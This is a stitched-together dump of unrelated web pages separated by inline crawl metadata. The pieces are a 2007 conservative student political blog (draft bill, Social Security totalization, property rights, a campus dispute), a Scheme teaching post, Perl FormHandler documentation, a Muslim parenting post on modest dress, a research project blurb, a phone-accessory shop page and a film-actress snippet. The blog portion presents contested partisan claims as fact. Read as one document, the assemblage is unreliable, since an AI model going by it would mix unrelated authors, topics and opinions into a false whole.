It really is that simple. Countries that are more economically free have an amazing correlation to being more prosperous. As seen in this Distribution of Economic Freedom world map, it becomes clear that when looking at the most economically free nations in the world, they are nearly all among the most prosperous. When comparing the list of most economically free countries with that of the countries with the highest GDP per capita, the top thirty countries in each list have an overlap of 73.3% (22 of 30 countries, not including Brunei). The vast majority of the most economically free countries are also the vast majority of the most prosperous. And of those that did not overlap, many, such as Qatar, UAE, Kuwait, and Bahrain (the Middle East's economically freest country), find much their wealth derived from oil.
However, for the vast majority of those countries which are economically free, their wealth is derived not from natural resources, but from a marketplace which is given the freedom to operate efficiently to create wealth. This has led those countries to be extremely prosperous and is beneficial to all of the country's inhabitants. It is clear that government intervention into markets, socialist policies of nationalization, and anti-capitalist policies do not create prosperity as well as laissez-faire policies do.
A New Birth of Slavery
Democratic Congressman Charles Rangel has introduced a bill to mandate "national service" for all Americans. The bill is named the "Universal National Service Act of 2007" and numbered HR 393.
"National service" is Rangel's name for the draft. But this bill goes far beyond a traditional draft. It would apply to any number of other government programs, not just the military. It would apply to women as well as men. And it would not contain any of the exceptions that the draft has previously allowed.
Rangel claims that the goal of his bill is to make war less likely. He claims that if the children of federal lawmakers were in the military, Congress would be less likely to vote to authorize war. He also claims that the draft would improve the military in the event that war is necessary.
Rangel's arguments are specious. Reinstituting the draft would be a disaster.
Rangel's contention that war would be less likely with a draft is plainly contradicted by the facts. World War II, Korea, and Vietnam all happened while America had a draft. All of them had far higher American casualties than any American war since then.
Actually, war would be more likely with a draft. War would be more likely if the government could simply compel people to fight rather than having to attract volunteers who freely commit to serve. Casualties would also be higher when soldiers could be conscripted.
The argument about lawmakers' children is also wrong. Back when we had a draft, children of congressmen were kept far from the fighting (unless they chose otherwise). Even if the legislators didn't put pressure on the military to do so, the generals would hardly risk killing the relative of someone who controls their funding.
A draft would not improve the military. The best soldiers are those who have volunteered to serve, not those who were forced to serve. A draft would damage morale.
Today's military is increasingly technological, so two years of conscription would waste people's time and taxpayers' money.
The best argument against conscription is that it is immoral. It is a violation of Americans' freedom.
This applies equally to "national service." A fundamental belief of statists is that the government can better run people's lives and control their resources than they can. "National service" would be a massive waste of effort that could better be put to productive use.
It would also massively empower the government. And that's the real goal.
Rangel's bill isn't likely to pass, but we can expect to see "national service" again. It must be resisted. And we should repeal selective service as well.
The working conditions would be better. But in principle, conscription is slavery.
Monday, February 05, 2007
A Total Disaster
This article is important enough to deserve special attention.
Bush's Plan To Bankrupt Social Security
by Phyllis Schlafly
January 17, 2007
President Bush's secret plan for Social Security has just been released to the public in response to a Freedom of Information lawsuit filed by TREA Senior Citizens League, a million-member seniors advocacy group. For four years, the President carried on an energetic public relations campaign to promote his plan to privatize part of Social Security, but he kept under White House lock and key the "Totalization" agreement his administration secretly made with Mexico in June 2004.
Is that any way to run the government, or to commit billions of taxpayer dollars? Maybe we've been needing Nancy Pelosi to demand "the most honest, most open" government in history.
If and when President Bush personally signs this agreement, it will automatically become law without any congressional action. The law that would have allowed one House of Congress to reject it by a vote within 60 days is generally thought to violate the Supreme Court's 1983 decision in INS v. Chadha, which declared unconstitutional a one-House veto of a President's action.
Senator John Ensign (R-NV) has introduced S.43 to require Totalization agreements to be treated like bilateral trade agreements. His bill would permit a Totalization agreement to go into effect only if affirmatively passed by both Houses of Congress.
Unless we live in some sort of Bush dictatorship, that's the very least of what Totalization should require. It ought to be considered a treaty and require approval by two-thirds of the Senate.
Totalization is the bureaucratic buzz word for the plan to put millions of illegal Mexican workers into the U.S. Social Security system. They would collect U.S. benefits based on their U.S earnings under false or stolen Social Security numbers plus alleged earnings in Mexico.
American citizens must work ten years to be eligible for Social Security benefits, but the Totalization agreement would allow Mexicans to qualify with only 18 months of work in the United States, and pretend to make up the difference by assuming work in Mexico. It is highly doubtful that the illegal aliens ever paid into a Mexican system for eight and a half years.
It could be "virtual" work or "virtual" payments (just like the "virtual" fence we may have on our southern border, or the "virtual" law that promised to build one). A 2003 Government Accountability Office (GAO) report tactfully refused to comment on "the integrity of Mexico's social security data" and warned that the cost to U.S. taxpayers is "highly uncertain."
The United States has totalization agreements with 21 other countries in order to assure a pension to those few individuals who work in two countries (legally, of course) by "totalizing" their payments into the pension systems of both countries. All existing totalization agreements are with industrialized nations whose retirement systems are on a parity with ours.
Mexican retirement benefits are not remotely equal to U.S. benefits. Americans receive benefits after working for 10 years, but Mexicans have to work 24 years before receiving any benefits.
Mexican workers receive back in retirement only what they actually paid in plus interest, whereas the U.S. Social Security system is skewed to give lower-wage earners benefits greatly in excess of what they and their employers contributed.
Mexico has two different retirement programs, one for public-sector employees, which is draining the national treasury, and one for private-sector workers, which covers only 40 percent of the workforce. Most of the Mexicans who illegally entered the United States previously lived in poverty, where they were unemployed, or worked in the off-the-record economy, or worked for employers who did not pay taxes into a retirement system.
The Bush Totalization plan would put millions of Mexicans onto the rolls of the U.S. Social Security system just as our baby-boom generation retires. The White House won't deny that imposing higher taxes on American workers is "on the table" to deal with the expected shortfall.
The Bush totalization plan would lure even more Mexicans into the United States illegally in the hope of amnesty and eligibility for Social Security benefits for themselves, as well as for their spouses and dependents who may never have lived in the United States.
Totalization is part and parcel of the Council on Foreign Relations five-year plan for the "establishment by 2010 of a North American economic and security community" with a common "outer security perimeter." The 59-page CFR document (which can claim Bush Administration approval because it is posted on a U.S. State Department website) demands that we "implement the Social Security Totalization Agreement negotiated between the United States and Mexico."
Americans should raise a mighty clamor to demand that President Bush NOT sign this billion-dollar ripoff of American taxpayers and senior citizens. Meanwhile, tell your Members of Congress to hurry up and pass the Ensign bill.
Further reading: Social Security Benefits for Noncitizens: Current Policy and Legislation, CRS Report RL32004, updated 7-22-04 and 5-11-05.
Sunday, February 04, 2007
Understanding Economics: Property
An essential feature of any free market economy is the existence of property rights. Economics can be used to analyse the concept and consequences of property.
Almost every object on Earth is the property of some person or entity. Unowned objects are rare these days. Most of that which is unowned is not scarce. In other words, there is more available than what people demand at zero price. Air and sea water are examples.
Several important distinctions need to be made here. One is between objects that are owned, and unowned but used, in what is sometimes called "collective ownership." Another is between private property and government property. A third is between property rights and the lack thereof.
It's possible for people to use something without owning it, that is without the right to exclude others from its use. What sort of incentives does this situation entail? The typical example of such a situation is the "tragedy of the commons." The commons were unowned land where English farmers could graze cattle. When something is available for free, a person's natural reaction is to use as much of it as possible. So it was with the commons, and they ended up in bad condition due to overgrazing. People were certainly capable of maintaining land, but there was no good reason to do so, because most of the benefit of any one person's efforts would go mostly to others.
In contrast, land that was owned was well-maintained and much more productive. Owners had a stake in its continued productiveness, so they took the necessary steps to avoid overgrazing. Ownership leads to much better use of resources than non-ownership.
Government ownership is not the same as "collective ownership." The government is an organization composed of some people, and not others. Some government property is mostly open to the public, while much is restricted to a few people. What makes government a unique institution is its ability to take others' property by force. This means that government does not have the same incentive to use resources wisely. It doesn't suffer losses from its mistakes because it can make them up by taking the property of others. Thus government ownership of property is necessarily wasteful compared to private ownership.
Property rights are a legal or moral claim to current and future use of property. This means that not only do you have property now, but that nobody can take it away from you. What incentives does this create? Property rights greatly reduce risk. Any successful economy requires investment. But investment is irrational if the rewards are likely to be taken away from you. There's not much point in planting a field if others will harvest it. There's not much point in owning land or starting a business if thieves or the government could take them from you at any time.
There are several ways that property rights can be protected. Property owners can defend their property by force. Tradition can recognize property rights and their defense. And government can guarantee property rights. Of course, can is not the same as will.
Peruvian economist Hernando de Soto has shown that many poor people in the third world don't legally own their property, even though some have used it for years. They can't make investments and improve their fortunes because of this uncertainty. The single most important thing that can be done to improve these countries' economies is to guarantee property rights. Government still takes people's property through taxes, but at least if it does so predictably, people can make investments with less risk.
Property rights are important even to those who have little or no property. They facilitate the creation of new products and jobs that benefit the poor.
While America has protected property rights well for the most part, property rights are threatened by several government policies. The use of eminent domain has traditionally been restricted to a few government projects, but in recent years, more government units have taken to using it to aid private developers. Some environmental regulations drastically restrict the use of property, and hence drastically reduce its value, without formally taking away its ownership. Such policies can only have the damaging effects described above.
Protecting and expanding economic prosperity requires the defense of private property rights.
Around Michigan
Plenty of political news around Michigan:
Not surprisingly, Granholm's "bipartisan" panel has called for a tax increase.
A Michigan Court of Appeals has struck down same-sex benefits. Take that, Stryker!
Attorney General Mike Cox ruled that red light cameras can't be used to give tickets. Good for him.
The Schwarz/Walberg rivalry isn't over. The 7th district is likely to see more competitive races in the future. There have been dual FEC complaints filed over the 2006 election.
Portage Public Schools are seeking a monstrous $145,000,000 bond issue that will be on the ballot in February.
Enrollment at WMU is up 500 students this semester. I thought parking seemed more crowded.
The WMU College Republicans are best in the nation and both parties on campus are busy.
The World is Flat
Here's a great video I watched in my BUS 2700 class. Thomas Friedman lectures an MIT crowd on his book, "The World is Flat." It speaks about globalization and the future of our world economy. Protectionists beware: some of the things you are about to hear in this video may be disturbing to you.
Saturday, February 03, 2007
This update focuses on immigration. It was recently revealed that President Bush signed a "totalization" agreement that will spend billions to give Social Security to legal and illegal Mexicans in America. Government policies continue to cause our immigration disaster.
Phyllis Schlafly shows that totalization will cost America billions.
Congressman Ron Paul explains the Social Security totalization agreement.
Michelle Malkin shows that immigration raids are politically timed.
Mac Johnson explains that America has worse than open borders.
Phyllis Schlafly shows that two border guards are innocent.
Phyllis Schlafly recounts damaging information about immigration.
Phyllis Schlafly explains how H-1B visas hurt high-tech workers.
Congressman Tom Tancredo explains how immigration has affected Miami.
POLITICAL UPDATES are archived here.
The 2008 Socialist Party candidate
Looks like Hillary is at it again with her socialist rhetoric. The scoop goes to Larry Kudlow, and you can read what he has to say about it here.
Wake up, Dems: this isn't Venezuela.
The WMU College Democrats published a column in last Thursday’s Western Herald in which they called for “civil discourse” while doing nothing but making false and baseless attacks against the WMU College Republicans.
The untruths contained in their screed include the following. The Faculty Hall of Shame on our website is not a blog and does not contain any “slander,” “rumors,” insults, or “name-calling,” “vulgar” or otherwise. It is not a “burn book.” We never claimed that it is a crime to be a Muslim or feminist, or that Islam is “worse” than feminism. The word “crime” never appears in the document at all. We have never “spurned” civil discourse, as they have never offered it to us.
So what about their allegations of slander and rumors? We plead truth. All of the facts on our sheet are backed by documentary citations or eyewitness testimony.
We did indeed point out that one professor promoted feminism and Islam, but the College Democrats decided not to mention the highly relevant fact that she promoted them in class. She is free to promote her beliefs on her own time, but not while she is supposed to be teaching her students. When pointing out the unbalanced view of Islam that she promoted, we don’t consider this an insult, we consider it a fact.
The College Democrats seem to be laboring under the misperception that the purpose of the Hall of Shame is to list people we dislike or disagree with. It is not. Our purpose is simply to inform students and other interested persons. The criterion for membership is misuse of power over students for political purposes. This can include criminal acts, assaulting or harassing students, grading students based on political positions or activities, stifling dissenting viewpoints in class, or using class time or assignments for propagandizing for political positions rather than teaching the proper subjects of courses. Students who wish to take such courses can sign up for them, while those of us who prefer education to indoctrination can spend our tuition dollars elsewhere.
If our goal was to compile a list of liberal professors, we could simply take a faculty directory and cross off a few names. In fact, the majority of liberal professors teach their classes without propagandizing or stifling dissent. If the College Democrats truly believe in civil discourse, they should join us in condemning the handful of professors who attempt to suppress it.
While they talk about promoting civil discourse, their vitriolic and error-ridden attack actually tries to stifle it. Rather than honestly confront the facts that we have put forth, they attempt to intimidate us into silence. If they really believed in civil discourse, they could have contacted us directly, rather than launch a vitriolic attack in the Herald.
The Democrats are whistling past the graveyard. There is a widespread, persistent, ongoing campaign to stifle our speech on campus. Literally thousands of flyers promoting our events over the past few years have been defaced or stolen. The College Democrats have never issued any comparable condemnation on this attack on free speech.
The real “test of maturity” is to not throw a fit whenever someone says something you dislike. The College Democrats have failed that test.
We are always ready to engage in civil debate, but we will not hide the truth about the misdeeds of the left on campus.
There is one true statement in the Democrats’ column. The Faulty Hall of Shame can be seen at We encourage readers to consider the facts for themselves.
The College Republicans at WMU were recently named the best chapter in the country by the College Republican National Committee. We didn’t win this award by keeping quiet. This feeble attempt to suppress our speech will fail. We will not be silenced.
And we will never apologize for telling the truth.
College Republicans
New Preface
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JavaSchools, Scheme, and Sin
From The Perils of JavaSchools - Joel on Software
Referenced Wed Feb 08 2006 10:53:20 GMT-0700 (MST)
In another article Sriram Krishnan says that "Lisp is sin:"
I was on vacation a couple of weeks ago at my parents' house in Chennai. My dad and I share a love for James Bond movies so my dad had bought a set of DVDs containing all the Bond movies in existence. I can't help but strike a politically incorrect analogy - Lisp is like the villainesses present in the Bond movies. It seduces you with its sheer beauty and its allure is irresistible. A fleeting encounter plays on your mind for a long,long time. However, it may not be the best choice if you're looking for a long term commitment. But in the short term, it sure is fun! In that way, Lisp is...sin.
From Sriram Krishnan : Lisp is sin
Referenced Wed Feb 08 2006 10:55:40 GMT-0700 (MST)
Sriram is tempted by LISP, but put off by some of it's raw "hacker power."
At BYU, we teach Scheme in the Concepts of Programming Languages class. There's a continual struggle to maintain Scheme in that class. I never apologize to the students for teaching Scheme--I think anyone who calls themselves a Computer Scientist ought to have done some programming in it. Beyond that, however, it's the best vehicle I know for allowing me to challenge student's notions about what programming languages are and how they should work. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '170', 'language_id_whole_page_fasttext': "{'en': 0.9556032419204712}", 'metadata': "{'Content-Length': '36907', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:NZTQHD4HNQ5ETIZSPYVFTBQU3BE3FQAW', 'WARC-Concurrent-To': '<urn:uuid:074cbed4-7380-4678-af50-bb0e06361c8b>', 'WARC-Date': datetime.datetime(2014, 12, 23, 3, 42, 57), 'WARC-IP-Address': '216.194.115.50', 'WARC-Identified-Payload-Type': None, 'WARC-Payload-Digest': 'sha1:2JAA72SWRBXW4MOSOO6CY2K2VCAI42HF', 'WARC-Record-ID': '<urn:uuid:44bc28e6-d714-4094-aeed-127596187931>', 'WARC-Target-URI': 'http://www.windley.com/archives/2006/02/javaschools_sch.shtml', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:622c20a3-3e55-4890-9b2f-97065d83b323>', 'WARC-Truncated': None}", 'previous_word_count': '399', 'url': 'http://www.windley.com/archives/2006/02/javaschools_sch.shtml', 'warcinfo': 'robots: classic\r\nhostname: ip-10-231-17-201.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-52\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for December 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.026348114013671875', 'original_id': '3aa6e61ee41e0c1c970a6c687afa3de9a1470514bd5a4ec92ff0716eeacda48e'} |
package HTML::FormHandler::Manual::Database; # ABSTRACT: FormHandler use recipes __END__ =pod =head1 NAME HTML::FormHandler::Manual::Database - FormHandler use recipes =head1 VERSION version 0.40027 =head1 SYNOPSIS L Information on interfacing FormHandler forms and fields with a database. Also see L. =head1 Form Models For a database form, use a model base class that interfaces with the database, such as L, which needs to be installed as a separate package. There's also a sample 'object' model in L, which will update a simple object. When using a database model, form field values for the row are retrieved from the database using the field 'accessor' attributes (defaults to field name) as database class accessors. FormHandler will use relationships to populate single and multiple selection lists, and validate input. A 'single' relationship is processed by L. A 'has_many' relationship is processed by L. Do not use database row method names, such as 'delete', as field names in a database form. You can pass in either the primary key or a row object to the form. If a primary key (item_id) is passed in, you must also provide the schema. The model will use the item_class (DBIC source name) to fetch the row from the database. If you pass in a row object (item), the schema, item_class, and item_id will be set from the row. Executing C<< $form->process( item => $row, params => $params ); >> will validate the parameters and then update or create the database row object. =head1 Fields that map to database relationships =head2 Select A select field will automatically retrieve a select list from the database, if the proper column names are provided. Single selects handle 'belongs_to' relationships, where the related table is used to construct a selection list from the database. See also L and 'lookup_options' in L. =head2 Multiple Select A multiple select is either a 'Select' with multiple => 1 set, or a field of the 'Multiple' type. The name of a Multiple select which pulls options from the database automatically should be the name of the 'many_to_many' relationship. The 'value' of the field is derived from the 'has_many' part of the relationship. The primary key is used for the 'id' of the select. The 'label' column of the select is assumed to be 'name'. If the label column has a different name, it must be specified with 'label_column'. Pertinent attributes: label_column active_column sort_column See also L and L. =head2 Compound fields A compound field represents a single relationship to another table. Although most compound relations can be handled without providing a primary key, in some circumstances you may need to provide a PrimaryKey field, or add extra values in update_model. See also L. The default for compound fields is that if all subfields are empty, the value of the compound field is set to undef (null). For some types of relations, you may want to set the 'not_nullable' flag to force the field to contain all subfields anyway, such as when the related rows are not deleted when empty. See test t/compound/empty.t for a demonstration of the difference in output. =head2 Repeatable fields The 'Repeatable' field type allows you to update arrays of columns from related tables easily. You will need to provide a 'PrimaryKey' hidden field in the compound field contained in the Repeatable. has_field 'addresses' => ( type => 'Repeatable' ); has_field 'addresses.address_id' => ( type => 'PrimaryKey' ); has_field 'addresses.street'; has_field ''; has_field 'addresses.state'; There are some complications with creating Repeatable elements (with the PrimaryKey field set to undef) in a database and re-presenting the form. See L for more info. =head1 Flags =head2 writeonly Do not read the value from the 'item' when populating the form. =head2 noupdate Do not update the database with this field, i.e. do not include it in C<< $form->value >>. =head1 Form generator A DBIC form generator is installed with the L package. See L. There's also a role, L, that allows simple form fields to be auto-generated from a DBIC result class. my $form = HTML::FormHandler::Model::DBIC->new_with_traits( traits => ['HTML::FormHandler::TraitFor::DBICFields'], includes => ['title', 'author' ], field_list => [ 'submit' => { type => 'Submit', value => 'Save', order => 99 } ], item => $book ); =head1 AUTHOR FormHandler Contributors - see HTML::FormHandler =head1 COPYRIGHT AND LICENSE This software is copyright (c) 2013 by Gerda Shank. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. =cut | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '66', 'language_id_whole_page_fasttext': "{'en': 0.8083056211471558}", 'metadata': "{'Content-Length': '5605', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:JYIEBHJK666SIATORSSI6LT273BALITU', 'WARC-Concurrent-To': '<urn:uuid:a3acd25b-2168-42e9-92a4-9305fd5b886d>', 'WARC-Date': datetime.datetime(2013, 12, 9, 5, 3, 24), 'WARC-IP-Address': '199.15.176.161', 'WARC-Identified-Payload-Type': None, 'WARC-Payload-Digest': 'sha1:W3RNA4J6RRDAZWJXDNKLLR7425YXMSEB', 'WARC-Record-ID': '<urn:uuid:0ff22e4f-66ac-45fe-977a-1d6d890fbddc>', 'WARC-Target-URI': 'http://cpansearch.perl.org/src/GSHANK/HTML-FormHandler-0.40027/lib/HTML/FormHandler/Manual/Database.pod', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:8ae292b3-f5f0-441e-8d88-b0ad6fc140b3>', 'WARC-Truncated': None}", 'previous_word_count': '643', 'url': 'http://cpansearch.perl.org/src/GSHANK/HTML-FormHandler-0.40027/lib/HTML/FormHandler/Manual/Database.pod', 'warcinfo': 'robots: classic\r\nhostname: ip-10-33-133-15.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2013-48\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for Winter 2013\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.02873826026916504', 'original_id': '8670fc194200df6d488395ce6617ba053dd0bf964a531e92dbc21e051ae96797'} |
How to dress our kids?
A contemporary scholar was asked this question and replied: “Dress them as you would want them to dress when they grow up…”
When you hear this it makes perfect sense, yet I have not thought of it this way before… Since God says in the Qur’an, “There is no compulsion in religion”, I would not force my kids to dress modestly. Yet I would like to instill these values in her when she is young, so that God willing, she would want to dress modestly when is old enough (post-puberty) to be responsible/accountable for her own decisions.
The best way I can think of to instill modesty in her is:
a) both parents examplify it AND
b) dress her modestly so she acquires this taste…
If we dress her in un-modest clothing till the day she enters puberty, how can we expect her to make the decision to dress modestly overnight?
Since God says Islam (submission to God’s will) is in our nature (fitrah), modesty must be in our nature as well. So when we dress our little kids un-modest, we are essentially altering/corrupting their nature. We are rapturing their sense of shyness/haya.
They have a taste for beauty, cleanliness, purity from birth. But they are impressionable as well. We develop their sense of what is beautiful and what is desirable by the things we wear and what we buy for them.
If all kids clothing has glitter on it, that is what they want and think is appropriate/beautiful. Sorry, but glitter is tacky and certainly not for a toddler, who should rather be in comfortable, natural clothing climbing up trees.
If the fashion industry is corrupting our kids by making ‘sassy’ girls’ clothing (like the ruffled mini skirts this summer), we are responsible not to buy them and to teach our kids that that is not appropriate.
It is in fact sooo much easier than you might think. Make sure you buy cute, innocent kids’ clothing from day 1. It becomes harder as they grow older since the clothing for toddler girls has become mini versions of women’s clothing (or rather street women’s clothing).
There are certain places like Gymboree or even Circo (the Target brand) that sells somewhat more appropriate clothes for kids. Since it is not easy to run into modest clothing (especially for girls), when I find one at a good price, I buy her multiple sizes to wear as she grows up.
If she asks to wear a cute dress that is not too appropriate, then you can buy it and have her wear it at home. We began this early on so my daughter now has a sense of it. Especially because she sees how I dress at home and outside, she can distinguish more or less what is ‘home clothing’ and what is for outside…
Insha’allah if we do this lovingly, and we pick nice but modest clothes for them from early on, they will willingly and happily acquire this taste too… | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9783772230148317}", 'metadata': "{'Content-Length': '31225', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:YFAFUKF22ULX53OXMIO3XVFWOLX54AFV', 'WARC-Concurrent-To': '<urn:uuid:25192a88-1cda-416e-becb-094d809aa284>', 'WARC-Date': datetime.datetime(2021, 1, 23, 0, 25, 46), 'WARC-IP-Address': '35.209.75.86', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:7CEWPIV7FHAC3WQERV67E475K7GXME5L', 'WARC-Record-ID': '<urn:uuid:1e37022b-335d-48eb-bf4f-d65cf169cc5d>', 'WARC-Target-URI': 'http://thelittlemuslims.com/how-to-dress-our-kids/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:96ce32b4-d1b4-4a6d-a4ea-5a5e5ab3fef1>', 'WARC-Truncated': None}", 'previous_word_count': '490', 'url': 'http://thelittlemuslims.com/how-to-dress-our-kids/', 'warcinfo': 'isPartOf: CC-MAIN-2021-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2021\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-226.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.1084257960319519', 'original_id': 'df9f747c8d2a676484f28e7660a4d4b42cf549e3e829e23a38fe441b3e9f280b'} |
Social Coordinates
We are pursuing social coordination to go beyond the awareness provided by social networks, allowing people to do things together. We wish to generalize point tools such as Evite, Meetup, FourSquare, and the match-making of Xbox Live. We have built a query system where users declare predicates on People, Places, Times, and Activities and the system solves for missing coordinates. Other ideas include inferring user intent, and doing proximity-based coordination of people. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9281116127967834}", 'metadata': "{'Content-Length': '10785', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:JQCKWHHL25MZPMKCND4WOO65JQ6YKMSO', 'WARC-Concurrent-To': '<urn:uuid:35b9a58a-15f4-45ec-9a16-996f47ac4bb4>', 'WARC-Date': datetime.datetime(2014, 8, 1, 15, 56, 52), 'WARC-IP-Address': '131.107.65.14', 'WARC-Identified-Payload-Type': None, 'WARC-Payload-Digest': 'sha1:GXAUD5B3YCX7XKCLCHNEZEG7COBOFXKT', 'WARC-Record-ID': '<urn:uuid:d8fc729b-84fc-4b5d-8e22-90c0a23c53e1>', 'WARC-Target-URI': 'http://research.microsoft.com/en-us/projects/socialcoordinates/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:a051a114-8f91-48a6-b6f9-5ebd9c0227ea>', 'WARC-Truncated': None}", 'previous_word_count': '74', 'url': 'http://research.microsoft.com/en-us/projects/socialcoordinates/', 'warcinfo': 'robots: classic\r\nhostname: ip-10-146-231-18.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-23\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for July 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.031436920166015625', 'original_id': 'ad3ede401c9e20171554fa65c16f6385db6ed02e153e3f4d6172564d40357eea'} |
Apple iPhone 5 Accessories
Apple iPhone 5 Accessories
The most logical step after purchasing your Apple iPhone 5 would be to seek fortification and safety for your investment. With one of today's most premiere and elegant phones at your disposal you can truly tap into a wide variety of resources and information straight from your pocket! With all of the capabilities our devices have to offer it seems that protection is becoming much more essential these days. It's no simple task to replace your iPhone 5's countless photos, videos, applications, and information. By looking below you will first notice that we have a ton of different covers, skins, and cases that can be of great service. These will provide the much-needed protection against scratches, scuffs, drops, dings, and dents. Not only will it keep your phone looking as pristine as the day you purchased it, it will also give you the new ability to customize your iPhone 5's aesthetics. You can choose color, design, and much more from below. We also have plenty of other accessories that can sincerely help you and your brand new Apple iPhone 5.
Apple iPhone 5 Cases
Our Apple iPhone 5 cell pouches are also great for protecting your Apple iPhone
Apple iPhone 5 Monogrammed Otterbox Commuter Cases
Our Monogrammed Apple iPhone 5 Otterbox Commuter Cases are the best way to protect
Apple iPhone 5 Otterbox Cases
Apple iPhone 5 Covers and Cases, iPhone 5 and 5S iPhone 5 Covers and
Apple iPhone 5 Screen Protectors
Here at CellPhoneTrek, checking out our Apple iPhone 5 screen protectors is a must.
Apple iPhone 5 Car Chargers
If you find yourself in your car most of the time, yet you often
Apple iPhone 5 Travel Chargers
If you happen to be one of those people that are always on the
Apple iPhone 5 Data Cables
Apple iPhone 5 nowadays have lots of functions and features, and it can almost
Cell Phone Handsfree Headsets
From name brands such as Mobo, SkullCandy, and iFrogz, we carry only the best | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9051026105880736}", 'metadata': "{'Content-Length': '26894', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:CCKHQVXS25HGNJPYZ7ICYVWD4EN7465B', 'WARC-Concurrent-To': '<urn:uuid:adf9edc7-430d-4bb3-87ad-a4cebb111ed3>', 'WARC-Date': datetime.datetime(2014, 8, 1, 22, 29, 54), 'WARC-IP-Address': '66.218.72.112', 'WARC-Identified-Payload-Type': None, 'WARC-Payload-Digest': 'sha1:LOJ4OC2FFD332K5TEH7RRTNKCQU2B3OC', 'WARC-Record-ID': '<urn:uuid:f3a54445-63a6-4cbc-a9f4-528b34e36218>', 'WARC-Target-URI': 'http://www.cellphonetrek.net/apple-iphone-5-accessories.html', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:6f08aa27-a289-4645-9c36-c5a64e1c57c9>', 'WARC-Truncated': 'length'}", 'previous_word_count': '340', 'url': 'http://www.cellphonetrek.net/apple-iphone-5-accessories.html', 'warcinfo': 'robots: classic\r\nhostname: ip-10-146-231-18.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-23\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for July 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.021912574768066406', 'original_id': '14f8bb29e0c702e7719e9934571e089459694359af74415896766e8075a4fb78'} |
Thursday, July 28, 2016
Who, me? Why everyone is talking about Rebecca Hall
Rebecca Hall
Photograph by Jake Chessum for the Guardian
Who, me? Why everyone is talking about Rebecca Hall
Simon Hattenstone
Saturday 12 June 2010 00.02 BST
There is a quietness to Hall, and to her acting. Perhaps the most obvious example is Allen's Vicky Cristina Barcelona. Whereas Penélope Cruz and Scarlett Johansson burned up the screen, Hall made her impact with a sober intensity. It may be the stage of her career, but often you remember her characters by their relationship to others. So in Starter For 10 she's the bright girl who eventually getsJames McAvoy's studious geek, in Frost/Nixon she's Michael Sheen's jet-set girlfriend, and in Einstein And Eddington she's David Tennant's devoted sister. Even when Hall does shocking, she does it with subtlety, notably in Red Riding, in which she plays the traumatised mother of a missing girl seeking solace in casual sex; last weekend, that performance won her a TV Bafta.
